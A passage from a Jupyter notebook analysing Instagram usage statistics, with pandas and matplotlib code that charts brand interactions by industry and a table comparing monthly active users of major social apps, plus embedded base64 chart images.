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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG9.csv\", header=0, sep=\",\")\n", + "print(\"Instagram brand interactions by industry\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "print(\"Instagram brand interactions by industry\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "plt.scatter(y, x)\n", + "plt.show()\n", + "\n", + "print(\"Instagram brand interactions by industry\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "plt.barh(x,y)\n", + "plt.show()\n", + "\n", + "print(\"Instagram brand interactions by industry\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "\n", + "plt.pie(y, labels=x)\n", + "plt.show()\n", + "\n", + "df.plot()" + ] + }, + { + "attachments": { + "image-3.png": { + "image/png": "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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image-3.png](attachment:image-3.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram users vs other top social apps : " + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users vs other top social apps\n", + "_________________________________________________________________________________________________________________________\n", + " App_name Monthly_active_users(billions)\n", + "0 Facebook 2.70\n", + "1 YouTube 2.00\n", + "2 WhatsApp 2.00\n", + "3 Facebook Messenger 1.30\n", + "4 WeChat 1.21\n", + "5 Instagram 1.16\n", + "6 TikTok 0.79\n", + "7 QQ 0.65\n", + "8 Douyin 0.60\n", + "9 Sina Weibo 0.52\n" + ] + }, + { + "data": { + "image/png": "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